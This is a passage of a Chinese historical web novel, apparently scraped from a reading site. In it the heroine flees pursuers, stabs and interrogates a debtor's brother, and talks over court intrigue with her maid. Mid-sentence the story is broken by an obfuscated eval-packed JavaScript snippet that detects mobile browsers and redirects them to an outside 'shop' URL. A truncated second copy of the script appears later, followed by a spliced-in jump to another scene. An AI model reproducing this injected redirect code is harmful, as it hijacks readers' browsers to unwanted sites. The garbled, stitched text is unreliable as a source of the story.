汀竹见窗边似有隐卫布防，当即变了方向，足尖碾地侧身，悄然朝门口挪了几步。 明霄岂会容她脱身，当即沉喝一声，手掌直逼她而来。汀竹腰身一拧，轻巧避开，手肘却顺势撞在门板上，引得木门发出“哐当”两声闷响。 她本想夺门而出，借楼外的人流遮掩行踪，是以明霄每一次攻势袭来，她都只守不攻，借着躲闪的架势不断往门口靠近。 萧凛很快识破了她的盘算，当即起身，长身玉立地挡在了门前，堵死了她的去路。 眼见萧凛与明霄左右夹击，再无周旋余地，汀竹索性不再藏拙，猛地沉肩撞向门板，只听“砰”的一声巨响，门应声断裂，她顺势跌出门外，足尖刚沾到走廊的地板，便拔腿朝楼梯口狂奔而去。明霄的脚步声紧随其后，在身后步步紧逼。 汀竹心知自己轻功不及明霄，迟早要被追上，情急之下，她猛地扯开嗓子朝楼下大喊，“救命啊！光天化日，竟有登徒子对我这闺阁女子行非礼之事！” 楼下本就宾客云集，丝竹声与笑语声交织一片，汀竹这一声凄厉的呼救，霎时如惊雷般劈开了喧嚣。 满楼宾客闻声皆循声望去，只见一个青衣女子发丝微乱、面色仓皇地从楼上奔下，身后还跟着个一身劲装的黑衣男子，气势汹汹的模样，瞬间便引来一片哗然。 “这是怎么回事？” “瞧那姑娘的样子，莫不是真遇上了歹人？” “那后生看着也不像是市井无赖，倒像是哪家的护卫……” 议论声此起彼伏，不少人已起身围了过来，眼神里满是探究与同情。汀竹见状，更是哭得梨花带雨，奔到一楼大堂中央，“那二人瞧我有几分姿色假意替我解围，实则是想‘英雄救美’引我前去二楼，竟将我堵在房中，逼我从了他们，我不肯，便要强行掳我……” 这话一出，满座皆惊，鄙夷的目光齐刷刷射向追下楼的明霄，连带着刚缓步下楼的萧凛，也成了众矢之的。 明霄又急又怒，正要开口辩解，却被萧凛抬手拦住。萧凛负手而立，面色依旧冷峻，目光扫过哭得梨画带雨、又带着一丝戏谑笑意的汀竹，又瞥了眼周遭指指点点的宾客，唇角勾起一抹极淡的冷笑。 眼睁睁看见汀竹一边抹泪一边借着人群的掩护，一点点朝门口退步，直至身影彻底闪出醉心楼的大门。 萧凛当即朝明霄递了个眼色，示意他立刻跟上，可一楼的客人早已被汀竹的哭诉激起义愤，纷纷围上来拦住二人去路，七嘴八舌地诘问，一时间竟让他们寸步难行。 萧凛眉峰微蹙，腕间折扇“唰”地展开，骨片相击的脆响压过了周遭的嘈杂。他抬眼扫过围堵的宾客，声线冷冽且带着不容置疑的威压，“本公子乃靖安侯府世子，奉旨查缉细作，尔等再敢阻拦，便是同谋之罪！” 这话一出，满堂哗然瞬间敛去大半。靖安侯府的名头在京城无人不晓，宾客们面面相觑，先前的义愤填膺顿时化作了怯意，围堵的人墙也隐隐有了松动。 明霄趁此间隙，足尖点地便要往门外掠去，却有个愣头青的书生梗着脖子喊道：“侯府世子又如何？强逼弱女子便是理亏！何况无凭无据，谁信你是查案？” 这话又引得一片附和，明霄的脚步再次被滞。萧凛眸色沉了沉，指尖在扇面上轻叩，正欲取出腰间的鎏金令牌，却听门外传来一阵急促的马蹄声，随即便是官差的呼喝。 汀竹本已奔出数丈远，听见身后的动静，心头暗叫不好。她回头瞥见醉云楼门口围了官差，心知“假端王”已动用了官府势力，当下不敢迟疑，拐进旁边的窄巷。 便扯下了头上的珠钗，将散乱的青丝挽成一个简单的发髻，又撕下裙摆一角掩住半张脸，翻过巷壁，朝先前放衣物的巷子而去。 不过片刻，明霄已带着官差追出巷口。他扫过巷内的人流，未能寻到汀竹的身影，就带着人往另一条街追去。 汀竹此时已褪去了先前的橘色轻纱襦裙换上了掌柜送的那件素色衣物，整个人的气质瞬间从娇俏闺秀变成了寻常女子。 她将换下的衣裙团成一团塞进柴堆深处，又抹去脸上残留的泪痕，这才稍稍松了口气，只是想起萧凛那深不可测的眼神，心下仍是一阵发紧。 刚提着锦盒欲要走出巷子，便听见身后传来阵阵脚步声，汀竹便快步朝巷外人流走去。 余光瞥见明霄带着几名官差从她方才所在的巷口跑了出来，他又朝人流中扫视一圈，目光在汀竹的背影上顿了一顿，却因她的妆发衣裙与先前毫不想象，竟一时没认出来，只冷哼一声就带着官差离开了这条巷子。 31. 有趣 宸王府—— “殿下，属下又跟丢了。”明霄垂着头立在阶下，语气里满是愧怍，“那女子如鬼魅般神出鬼没，属下带人将望京街的里巷阡陌搜了个底朝天，竟连她的踪迹都没寻到分毫。” 明明一介闺阁女流，既有这般不顾及清誉的行径，又有如此过人的胆识，当真是奇哉。 箫凛指尖执起一枚墨玉棋子，悬在棋盘上空，目光沉沉地忖度着落子的方位，闻言只淡淡颔首，“无碍，既已遇上两回，她定然还在这太和城中。” 话落刚落，身后便传来一阵轻快的脚步声，伴随着一道朗润的嗓音打趣，“箫景珩，你又冒用我的名号在外行事！” “世子。”明霄忙鞠躬行了一礼。 虽说他箫凛身为亲王，却因不得圣宠常年称病不出，满京城没几人识得他真容，而普天之下，敢这般直呼他名讳的，也唯有他的表兄——靖安侯世子谢玦。 谢玦颔了颔首，阔步走到了箫凛对面的锦凳上落座，目光扫过棋盘上的星罗棋势，挑眉问道：“今日可是遇到什么事了？” 二人本是表亲，容貌有七八分相似，箫凛又久居王府不与外人交接，是以冒用靖安侯世子的身份在外走动，竟从未被识破。 箫凛指尖微沉，墨玉棋子稳稳落在棋盘一角，方才缓缓开口，“太傅想借下月先帝忌辰，扳倒太子一党。” 谢玦执着白子的手猛地一顿，眼中掠过一丝诧异，随即便低声笑出了声，“哦？这老匹夫倒是打的一手好算盘。” 他话音未落，一枚白子已落定棋盘，又抬眸睨着箫凛，似笑非笑，“你莫不是想在这局中，再添一把火？”。 箫凛薄唇微勾，眼尾微扬，眸中漫出几分深不可测的笑意，指尖再落一子，语气平淡却带着笃定，“你输了。” 谢玦闻言一怔，忙低头看去棋盘，只见自己布下的白子早已被墨玉黑子围得水泄不通，腹心的大片棋眼尽被蚕食，竟是连半分转圜的余地都没了。 谢玦咋舌，悻悻地将手中白子掷回棋筒，指尖点了点棋盘上的死局，苦笑不得，“你这棋路愈发刁钻，半点情面都不留。” 箫凛将黑子归位，抬眸瞥他一眼，眸色淡如云烟，“朝堂博弈，本就无半分情面可讲。” 谢玦问言收敛了笑意，手肘撑着案几上，端起一旁的茶杯小啜一口茶，沉声道：“太子背后有丞相谋算。你若掺和进去，岂不是要蹚这浑水？” “浑水才好摸鱼。”箫凛端起一旁的青瓷茶盏，茶雾氤氲了他的眉眼，“太子庸碌有丞相倚仗，端王无野心却被太傅架着，两方掣肘，于我而言，恰是良机。” 明霄立在一旁，心中悄然生出一丝期许。这些年殿下的隐忍筹谋他看在眼里，虽说殿下常年深居王府，只偶尔进宫探望太后，看似不问朝事，实则早已将朝堂局势勘破得通透。 谢玦挑眉，“你想从中取利，莫非是为了......”他话音顿住，目光扫过明霄，明霄会意，躬身告退，殿内只余二人。 待殿门掩合，谢玦才压低声音，“是为了当年姑母的旧事？” 箫凛执着青瓷杯的手猛地收紧，指节泛白，眼底瞬间起了一丝寒芒，旋即又恢复如常，只淡淡道：“先帝忌辰，本就是个容易生事的日子。” 谢玦知他不愿多提，便不再追问，转而想起方才明霄的话，好奇道：“方才你让明霄去追的女子，又是何人？竟能让你麾下明卫都能跟丢了。” 箫凛身边有两大护卫，一明一暗，皆是顶尖好手。 他放下茶杯，眸光微晃，似想起了那女子的模样，薄唇轻启，“一个......有趣的人。” * 一想到方才在醉云楼里点的满桌珍馐，竟一口没吃上，汀竹越想越气。 只要一遇上那个“假端王”，她就事事不顺。心中暗骂了两句，她便按照云锦坊掌柜所言，往城南而去。 城南多是破败宅院，她沿着窄巷行至一处荒僻的废园处，忽听得园内传来细碎的低语声。 她敛了足音，悄无声息地凑到斑驳的黑漆门缝前张望，只见空荡的园子里，梨画正与一名身着褐衣的男子低声交谈，眉眼间满是焦急。 “......那边催得愈发紧，欠下的债若再不还，他们就要拆了周府抵债！” 梨画的声音带着哭腔，“姨娘让我悄悄从府中账库克扣了好些，连姨娘攒下首饰都尽数变卖了，可还是不够，这可如何是好？” 褐衣男子闻言，眉头拧成了疙瘩，往四下警惕扫了扫，压低了声线道：“姐姐也是糊涂，府里的账目岂是轻易能动的？若是被将军查出来，你们的下场，可比被债主拆了宅子还要惨！” 梨画眼圈更红了，指尖死死攥着衣角，“我也劝过姨娘，可她不忍眼睁睁看着周家出事，这才铤而走险。起初本还安稳，只是前些时日被夫人察觉了，往后怕是愈发艰难。” “夫人？”褐衣男子语气迟疑，“不是......” 梨画连忙打断他的话，摇了摇头道：“是府中大小姐。姨娘说，定是她在从中作梗。” 男子道：“我倒不信，凭姐姐的手段，还奈何不了一个小丫头。”思虑片刻，又道：“既如此，我再回府中变卖些值钱的物件，凑凑银两。你回去让姐姐小心行事，莫要落下什么把柄。” 汀竹瞧着门缝的二人，指尖捏紧了那柄匕首。 原来姨娘这些时日中饱私囊，竟是为了填补娘家的欠债。那杏儿所见她与陌生男子来往，那陌生男子多半就是这褐衣男子了。她心中疑窦丛生，周姨娘娘家究竟是欠了何等巨额债务，竟要冒险动用府中财物？ 正欲再听，忽闻园内传来脚步声，她当即退至了一侧拐角处隐蔽身形，只见梨画推开黑漆大门，左右观望了一番便朝另一侧离去。 汀竹刚想快速离去，却冷不防与方才出园的褐衣男子撞了个正着。 “你是何人？”那男子眼神错愕地盯着眼前蒙着轻纱的女子，喉间刚要溢出呼喊，便被汀竹一掌精准劈在颈侧，身子一软，直挺挺晕了过去。 汀竹俯身探了探男子鼻息，确认只是晕厥，便迅速将他拖到废园后院的一处荒宅，扯了院中的破旧麻布搓成粗绳，将他牢牢绑在廊下柱子上。又寻了缺口烂碗，从檐下水缸里舀来半碗浑水，泼至了那男子的脸上。 冷水激面，他霎时便悠悠转醒。 男子一睁眼，满是惊恐的目光便凝在汀竹身上。 方才还只是遮着薄纱的女子，此刻已覆了一方面巾，只留有一双漆黑的眼仁露在外面，分辨不出是何许人也。 “你究竟是何人？” 汀竹刻意压了嗓音，语调沉哑如中年男子，“要想活命，便如实说，你与周伊人是何等关系？周府究竟欠了何等巨债，竟要筹措这般多银两？” 男子牙关紧咬，闭口不答。汀竹便从腕间拔出那枚匕首，缓缓拔开鞘身。刀刃在鞘口上来回轻刮，发出“呲啦”的脆响，吓得男子额间冷汗涔涔而下。 “再不肯说，可就要尝尝苦头了。”汀竹语声含着冷厉威慑。 谁知男子依旧硬气，仍是缄口不言。汀竹眸色一沉，缓步上前屈膝蹲下，单手扼住他的下颚猛一用力，硬生生撬开齿关，将扯碎所剩的布条揉成团，死死塞进了他嘴中。随即扬起匕首朝他左侧大腿狠狠刺落，殷红鲜血霎时涌出，浸透了他的裤腿。男子痛得眼仁骤缩，面目狰狞，口中碎布被牙冠咬得咯吱作响。 过了半晌男子方从剧痛中缓过几分，见汀竹又扬起手臂作势要刺向他另外一条大腿时，他急忙发出“呜呜”的闷响，脑袋又摇又点，满是乞饶之意。 汀竹见他这般急切的模样，料定是松了口，便挑眉冷声问道：“这就打算说了？” 话音未落，男子已是拼命点头。“早这般识相，何苦受这皮肉之苦。”汀竹啧了两声，语气里带着几分兴致缺缺。 她原以为此人能硬称到底，竟不料只这一刀便要松开。 接着她伸手扯出男子口中的布条，随手扔在了他还在缓缓渗着鲜血的腿上，又用匕首柄重重一摁，痛得男子又倒抽一口凉气，面色愈发惨白。 “我说！我说！求你大人有大量，饶了小的这条贱命。” 汀竹拂去一旁积灰长凳上的尘垢，施施然坐了，手肘支着膝头，掌心托腮，静静睨着奄奄一息的男子，淡淡吐出一字，“说。” 男子喘着粗气，声音发颤，“周伊人......是小的一母同胞的亲姐姐。周家本是商户，按理来说，不缺钱财。只是......” 他喉头滚了滚，额头冷汗往下淌，眼神里满是惧意与挣扎，“断不该沾惹上皇庄的干系。可三年前，家父为凑足我科考的束脩，一时昏了头，竟借了钱庄暗账的利钱。原想着我能金榜题名，再慢慢填这笔窟窿，谁料我连番落第，利滚利之下，那笔银子竟翻了十倍不止。” 汀竹将匕首上的血轻轻在他的肩臂上擦拭，眸色更冷，“皇庄暗账？那是内务府辖下的营生，寻常商户怎敢碰这等烫手山芋？” “是......是有人牵线。”周朗声音愈发低微，似是怕极了什么，“牵线的是一个戴着面具的男子，说是看家父老实，这才寻了门道。可后来才知，那是个套，专挑家底殷实却无官身庇护的商户下手。” “周伊人筹措银两，便是为了还这笔债？”汀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818182|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹追问，匕首堪堪贴近了周朗的脖颈处。 周朗忙不迭点头，急急说道：“正是如此！” “可知那戴着面具的男子？” 周朗摇头，“小的也不知，只记得那人戴着一副青面獠牙的面具，神秘莫测。” 汀竹心头一震，手指猛地一动，匕首险些划过周朗的脖颈。 青面獠牙？难道说这线人是黑刃堂的头目之一，还牵扯着皇庄......与宫中有关系，这背后的水，竟比她预想的更深。 她正欲再问具体细节，忽闻废园外传来一阵急促的脚步声，还夹着梨画的呼喊，“公子？公子你还在此处吗？” 周朗闻声，眼中徒然亮起了光，竟奋力挣着绳子，想要求救，“我......”刚喊出一字，汀竹眼疾手快，扬手便点了他的哑穴，旋即跃至荒宅的横梁上，敛了气息，隐在梁间的尘絮暗影里。 不过须臾，梨画便闻声寻了过来，一眼便瞧见廊下被捆的周朗，惊呼一声扑了过去，“公子！方才还好好的，怎会被人弄成这般模样？” 她伸手去解绳索，刚触碰着男子时，这才注意到周朗腿上的血渍，脸色霎时煞白，声音带着哭腔，“我去找大夫！” 梨画的哭声刚落，院外又传来几声杂乱的脚步声，伴随着粗哑的吆喝，“何人在此处？” 还未等梨画回应，三名官兵已闯入荒院。她吓得一哆嗦，忙辩解道：“民女......民女是将军府上的婢女。” 汀竹见此状况，心下不觉一紧，早知如此，她该打晕了周朗便抽身离去。 “可有见过可疑的女子？”领头的官差问着梨画，下一秒走至褐衣男子跟前，瞧着他被绑在柱子上，腿上还带着血迹，而院内仅梨画一人，不等她回话，他便朝两个手下喝道：“将此女拿下！” 那两名官差应声上前就要架住梨画，梨画“噗通”跪倒在地，哭喊道：“大人明鉴，此事与民女无关啊！” 官差见她手无寸铁，又是弱质女流，料想她难将一名男子捆绑至此，便转而询问周朗。周朗被汀竹点了哑穴无法开口，只拼命朝横梁方向使者眼色。接着官差顺着周朗的目光抬眼望去，只见横梁尘絮浮动，隐约有块衣袂残影，当即拔刀厉喝，“上面的人，还不速速下来受缚！” 汀竹暗叫不好，这周朗竟如此机警。她扣紧了匕首，足尖在梁上猛地一点，身形如惊鸿掠下，匕首直逼领头官差面门。官差仓促举刀格挡，只听“当”的一声脆响，刀刃竟被震出一道豁口。 趁官差阵脚大乱，汀竹足尖点地，便要往院外冲去。谁知刚掠至院门口，两名闻讯赶来的官兵已横刀拦在身前，寒光凛凛的刀刃堪堪封住去路。 梨画见状，急忙趁机猫着腰溜到周朗身侧，抖着手解开他身上的粗麻绳，又扯下自己腰间的素色汗巾，胡乱缠在他渗血的腿上，权当止血。 与此同时，先前的领头官差已招呼左右，三人呈三角之势围拢上来，手中腰刀同时朝汀竹劈落，刀风挟着凌厉杀气，直逼她周身要害。 汀竹眸光一凛，不退反进，手腕翻转间，匕首精准格住左侧官差的刀刃，只听“铮”的一声脆响，火星四溅。她借力旋身，避开右侧砍来的一刀，靴尖却不慎蹭到地上碎石，身形微晃，后背险些撞上身后的门柱。 危急关头，她猛地屈膝矮身，匕首自下而上挑开第三名官差的刀路，同时足尖狠踹其膝弯。那官差吃痛跪倒在地，手中腰刀“哐当”落地，惊起一地尘灰。 可另外两名官差已接踵攻来，雪亮刀锋擦着她的发梢凌厉掠过，几缕青丝应声飘落，混着檐角的积灰簌簌坠地。 汀竹不退反进，腰身猛地一拧，身形倾斜着上前两步，堪堪避开双刀夹击，随即手肘向后蓄力猛撞，正抵在左侧官差的软肋处。那官差闷哼一声，顿时身形踉跄，脚步虚浮地晃了两晃，险些栽倒。 余下那名官差见状，双目赤红，挥刀便朝汀竹后心劈去。千钧一发之际，汀竹足尖在门柱上猛地一点，身形如断线纸鸢般向后飘出，堪堪避过刀锋，同时手腕翻转，匕首带着寒光直取对方咽喉。 官差骇得魂飞魄散，慌忙收刀回防，却已是迟了。匕首擦着他颈侧划过，带起一道血痕。他只觉脖颈一凉，顿时僵在原地，再不敢上前。 汀竹正欲料理余下几人，余光忽扫见院中三名官差竟少了一人，心知定是那人趁机去通风报信了。未及细想，院外已隐约传来急促马蹄声，她不敢耽搁，足尖在斑驳院墙上轻点数步，旋即翻身掠出了废园。 待那名官兵领着明霄赶到时，废园内早已没了汀竹的踪迹，只余下满地狼藉。 明霄只恨，竟又教此人逃之夭夭。 32. 低头 汀竹借着城南巷陌的错落屋宇，七拐八拐绕甩开了身后可能的追踪，待确认无人跟随，才放缓脚步，褪去了脸上的面巾。 微风拂过，她脖颈间渗出的薄汗被吹得微凉，腿侧方才缠斗时不知何时被刀风刮出口子，先前只顾着脱身竟毫无所觉，此刻松懈下来，正隐隐作痛。 她拢了拢微乱的衣襟，抄了条僻静小路往将军府的方向去，行至外墙根下，她足尖轻点墙面，借力腾身，不过数步便悄无声息的翻了进去。刚落足到主屋后窗下，她便撮嘴发出三声清脆的鸟鸣。 不过片刻，便只听主屋内传来极轻的开门声，脚步声由远及近，渐渐挨近窗下。下一瞬，窗棂被从内轻轻推开，汀竹旋即矮身翻了进去。 锁秋忙迎上来，攥着帕子的手都有几分抖，压着嗓子急声道：“小姐，你可算回来了！方才午膳时分，夫人曾过来探望，奴婢只敢慌称你喝了药，正卧榻歇息，才堪堪瞒了过去。” 汀竹反手掩上窗棂，倚着冰冷的木框缓了口气，抬手按住腿测的伤口，眉峰微蹙，“多谢你周全。”她刚指尖触到衣料，便觉得指腹黏了温热的血，想来伤口已渗出血迹，若被府中下人瞧见，又要惹出是非。 锁秋眼尖，瞥见她衣摆下的暗红渍痕，脸色霎时白了几分，忙扶着她往内室塌边去，“小姐这是受伤了？奴婢这就去取金疮药，再寻套干净衣裳来，可千万别叫旁人瞧见。”说着便转身去取金疮药。 汀竹撕开腿侧上方的布料，露出那醒目鲜红的伤口。恰巧锁秋取来了金疮药与纱布，见这一幕，眼眶不自觉被晕湿，言语满是心疼，“小姐......” 她打开了瓶口，又道：“会有点疼，忍着点。” 听这话，汀竹不免勾了勾唇角，就这点小伤还不及先前的万分之一，“无碍。” 锁秋小心翼翼将金疮药药粉倒在了她的伤口上，又取出纱布轻柔的包扎妥当。 汀竹旋即自腕间取出一柄镌有桃花纹的小巧匕首，径直递到锁秋眼前。 “小姐这是……？”锁秋看着那匕首，不由得怔了一瞬。 汀竹将匕首轻轻放入她掌心，温声道：“这是应你所求的辟邪之物，已寻人开过光，定能护你周全。” “可奴婢……奴婢从未碰过这等利器，实在不知该如何使用。”锁秋攥着匕首，心中满是感激，却又因从未沾过刀刃，隐隐生出几分怯意。 汀竹便伸手指了指自己心口处，沉声道：“往后若遇歹人，只管朝此处狠狠刺去，便可一击毙命。” 言罢，她亲自教锁秋如何握刃、如何将匕首暗藏腕间，既不惹人察觉，又能在危急时刻瞬息取出，以备不时之需。 待锁秋依言将匕首稳妥藏好，便转身取来干净衣裳，伺候汀竹换下了身上那套污损破烂的衣衫。 “小姐，是何人伤了你？”锁秋锁秋终是按耐不住，低声问道。 汀竹撑在塌沿的手指轻叩着木棱，神色依旧自若，“官府的人。” 锁秋闻言陡然一惊，语气十分诧异，“官府？小姐怎会遇上官府的人？” “我也不知是何处露了踪迹。本是当了玉佩买了夜行衣，寻了家酒楼想打打牙祭，谁知先遇上纨绔滋事，后被一位着黛蓝锦袍、身随侍卫的公子解围。他邀我去二楼盘问了我为何会去醉心楼学技之事，我为脱身才引来了官兵追缉。行至城南时，又撞见梨画与周姨娘的胞弟私语。“” “后欲要离去便撞上了周姨娘胞弟，便将其打晕询问了一番，这才知晓周姨娘中饱私囊，原是为了填补娘家的亏空债务。接着梨画又不知怎的折返回来，引来了官兵，我就与官兵颤抖了一番，这伤便是那时不知何时被伤到的。” 汀竹说了方才事情的经过。 锁秋听完，心下更是惊悸，紧紧攥着手中绣帕，“那黛蓝锦袍的公子，莫不是官府中人？小姐这一路当真是凶险万分，幸而平安归来。” 汀竹指尖仍在塌沿边轻叩，眸色沉了几分，“看他气度，绝非寻常管家子弟，且他问的话句句带刺，分明是早有疑心。”她顿了顿，想起城南那幕，又道：“周姨娘娘家欠债，竟能把手伸在将军府公账之上，这府里的窟窿，怕是比你我想的还大得多。” 锁秋拧着眉目，只知此事牵连甚广、错综复杂，自己却半点帮衬的法子也想不出，只能在一旁干着急，手心都攥出了些许汗。 汀竹又想起那黛蓝锦袍男子的模样，便抬眼询问了锁秋，“锁秋，你可知这太和城中，有哪位公子常常持着一把折扇，身侧还跟着贴身侍卫，且气度瞧着是权贵门第出身的？” 锁秋凝神细想了一番，脑海中并无完全吻合的人物，却也记起了一人，“奴婢只想起来靖安侯府上的世子，他倒是无论春夏秋冬，手中总是捏着把折扇，时不时便轻摇几下。” 汀竹闻言，指尖叩击塌沿的动作一顿，眸中闪过一丝思忖。 靖安侯府的世子......她先前到听过这个名号，传闻此人性情乖张，在太和城中素来是个不好相与的角色，只是从未打过照面。 “可是姓谢的世子？”汀竹追问。 锁秋点头应道：“正是，谢世子名唤玦，字砚辞。京中人人皆知他那把墨兰折扇，据说乃是先帝御赐侯爷的物件，普天之下仅有两把，一把在宸王手中，另一把便落在世子手里，寻常人可不敢轻易仿冒。” “宸王？”汀竹下意识询问了一句。 锁秋轻“嗯”了一声，压低声音缓缓道：“宸王殿下虽说贵为亲王，却是个身世可怜的主，他的生母原是元皇后，奈何身子孱弱不受圣上待见。” 汀竹对此也略有耳闻，只知晓这位宸王身世堪怜，还常年受病痛缠身，稍一着风便要卧榻许久才见好转，因此鲜少在外露面。 “那宸王与靖安侯府，可有什么渊源？”汀竹堪在塌沿上的手指不知不觉的扣紧了些许，心头的疑云又重了几分。 锁秋蹙着眉，仔细回想府中下人闲谈时的只言片语，“奴婢曾听老夫人身边的管事嬷嬷说过一嘴，靖安侯曾是元皇后母家的旧部，后来元皇后失了圣心，候府为了不受牵连便渐渐与皇家嫡系疏远了往来。不过这些都是陈年旧事了，如今谁也不敢再提。” 汀竹心下了然，原来还有这层牵扯。如此一来，谢玦手中的墨兰折扇，便不单是先帝御赐家族的荣耀，怕还还藏着旧年的渊源。 只是这靖安侯世子何时对自己起疑的？ “那谢世子既在京中走动，可曾与将军府有过往来？”汀竹又问，她总觉得此事透着几分蹊跷。 锁秋歪着头想了想，摇头道：“倒不曾听说有过什么深交，只是去年秋狩时，侯爷与老爷同席饮过几杯酒，世子爷那时称病未去，连面都没露过。” 正说着，外间忽然传来了丫鬟的轻唤声，“锁秋姐姐，老爷遣人来问，小姐醒了没？。” 锁秋心头一紧，忙收敛了神色，扬声应道：“知道了，我这就去回老爷的话！”说罢，她转头看向汀竹，眼底满是急切与担忧，“小姐，老爷这时派人过来问，怕是有事要找你，你伤口刚包扎好，可怎么回才妥当？” 汀竹揉了揉眉心，闭眼沉思了片刻，转瞬便敛起了眉宇间的疑云，故留几分病中未愈的倦怠，轻声道：“无妨，你先去回来父亲，就说我已醒透，稍作梳洗便去前厅见他。” 锁秋还想再叮嘱几句，却见她朝自己递了个安抚的眼神，便只得应声退下，临出门时还不忘替她掩好了房门。 屋内归于寂静，汀竹起身缓缓走到窗边，推开半扇雕花木窗。院中冷风卷着落叶簌簌落下，廊下的铜铃被吹得叮当作响，她望着墙外灰蒙蒙的天边，乌云低垂，压得人心头发闷，心头那股不安，竟是这沉沉天色般，愈发浓重难散。 如若那人当真是靖安侯府世子，桃仙儿便是他手底的人。这般想来，此人绝非表面的乖张，反倒也是个城府极深的主。往后在这太和城行事，她怕是要更敛锋芒，小心谨慎才是。 风裹着湿意扑面而来，汀竹拢了拢手臂。 今夜怕又是一场倾盆大雨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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厅内一时静了下来，唯有窗外风卷落叶的声音，衬得气氛愈发凝滞。周姨娘的心提到了嗓子眼，指尖暗暗绞着绣帕，连呼吸都放轻了些许。宋婉也垂着头，肩膀微微瑟缩，一副惶恐悔过的模样，可垂落的衣摆却被她死死攥紧。 她收了收神色，深吸一口气，似是下定了某种决定，抬眸望向汀竹时，语气里像是裹了几分真切的悔过之意，“姐姐，妹妹此番是真心知错了，还望姐姐替我向父亲求个情。” 汀竹倒是没想到宋婉这人竟还向她低头，一时没接话，只是垂着眼帘，淡淡说道：“妹妹知错，原是好事。但父亲断事自有分寸，岂是我能置喙的？” 这话不软不硬，既没应下求情的话，也没直接驳了宋婉的面子。宋将军将这一切看在眼里，搁下茶杯的动作稍重，瓷杯与杯托相触，发出一声清脆的轻响，打破了厅内的沉寂。 “思过三五日，便觉得自己知错了？”宋将军声音不高，却带着威严，目光扫过周姨娘与宋婉，“莲溪，你可知道自己错在何处？” 宋婉身子一颤，忙抬头答话，“女儿错在不该与嫡姐置气，打了嫡女失了姐妹情分......” “错了。”宋将军打断她的话，语气沉了几分，“你错的是不分青红皂白，将罪名强加于他人，错的是身为宋家人，却失了尊卑教养，更错在知错后只想着解脱禁足，而非真正的反省！” 这番话字字诛心，周姨娘脸色霎时煞白，连忙“噗通”跪叩求情，“老爷息怒！莲溪年纪小，一时糊涂，求老爷看在她初犯的份上，饶过她这一回吧！” 宋婉也跟着跪地叩首，眼泪瞬间滚落，哽咽哭求，“父亲！女儿真的知道错了！求你再给女儿一次机会！” 厅内的气氛愈发紧绷，汀竹静静坐在宋夫人身边，微凉的小手被宋夫人温厚的掌心紧紧攥着安抚。 宋将军冷眼看着跪在地上哀求的母女，终是沉沉叹了口气，缓声道：“罢了，禁足便解了。” 周姨娘与宋婉皆是一喜，忙伏身叩首，不迭地谢恩。 这场晚膳前的小风波，便这般悄然落了定。 33. 胆小 “娘，都是宋韫这个贱人！”宋婉绣眉倒竖，气急败坏地嚷嚷着，“先前那般就是她故意激怒女儿，好叫父亲对厌弃我！” 周姨娘心头一紧，忙抬手捂住宋婉的嘴，慌不迭地将她往内室拽了拽，压低了声音呵斥道：“莲溪！疯魔了不成？为娘知道你所受的委屈，可这般诛心话岂能在外头说的？” “隔墙有耳，若是传进老爷耳朵，咱们母女俩的日子，还要不要过了？” 宋婉被捂住嘴，挣扎好几下才甩开周姨娘的手，眼眶泛红，声音却依旧带着不甘的尖利，“娘！女儿就是咽不下这口气！她宋韫不就是占着嫡女的名头，凭什么处处压我一头？方才在正厅，父亲看她时的眼神，都比看我时温柔，就连太子都对她青睐有加！” “太子？”周姨娘反问一句。 宋婉哭嘀嘀地回话，“前几日女儿故意将她的衣裳打湿，出宫门时，正巧撞见宋韫同李家二小姐与太子殿下搭话，殿下竟还特意遣侍卫，给她送了件宫装。” 如此说来，周姨娘蓦地想起，那日汀竹身上的衣料，确实不似府中样式。 “这又能算什么？”周姨娘先是嗤笑一声，旋即话锋一转，眸中添了抹算计，她抬手轻轻的理着宋婉微皱的衣襟，语气也软下来安抚，“你且安心，待来日你入主东宫，成了太子妃，她宋韫纵是万般体面，又岂能及你半分？” “只是你切记要沉住心气，往后入了东宫，太子身边难免会有其他侍妾，你须得顾全大局，莫要使小性子，如此方能步步稳妥，将来才有机会母仪天下。” 宋婉听了这话，眼底的戾气稍减，却仍带着几分委屈抽噎，“可女儿怕......怕太子殿下心里真的有她，毕竟宋韫惯会装温婉柔弱的模样，最是能哄人欢心。” “再者，她与殿下的婚约将至......” 周姨娘冷笑一声，指尖在宋婉发间轻轻一捻，语气里带着几分笃定，“温婉柔弱？太子妃可不需要这般性子。” “况且，这桩大婚，成不了。” “娘，此话当真？”宋婉眼中霎时萌发出亮光，攥紧了周姨娘的手。 “自然是真的，娘何时骗过你？” 宋婉当即便摇了摇头。 周姨娘拍了拍她攥着的手背，眼底带着一丝不易察觉的狠厉，旋即又敛了锋芒，她凑近宋婉耳畔，气息凉丝丝的，“何况，为娘早已替你铺好了路。你只需按我说的做，安分守己，沉住心气，剩下的，都交给为娘便是。” ...... 天光沉如暮夜，墨色云絮沉甸甸压在天际，狂风骤起，卷着豆大的雨珠砸向瓦砾，又顺着飞檐跌落在青石板上，溅起浅浅水洼，织就一道密不透风的雨帘。 雨帘如万千银丝，将廊柱、雕花窗棂都笼进一片迷蒙里。自昨夜亥时起，这风这雨便没歇过，院中老榆的残叶被卷得漫天纷飞，细弱枝丫断了数截，连那盆精心侍弄的柿子树，也被狂风掀得断了根须。 瓦当上的败叶混着雨水滚落，在台阶上汇成细流蜿蜒而下。唯有檐下铜铃，在风雨中晃出几声沉闷的“叮当”，混着哗哗雨声，漫过了整个暖居阁。 “小姐，今日这雨可真大。”锁秋推开屋门，陪着汀竹立在门前处观望。 汀竹的目光扫过院中披蓑戴笠、正收拾断枝的仆从，视线忽然落在其中一个身形瘦小的人身上。她抬手指向那正与旁人同抬断枝的身影，问着锁秋，“那人是谁？瞧着面生。” 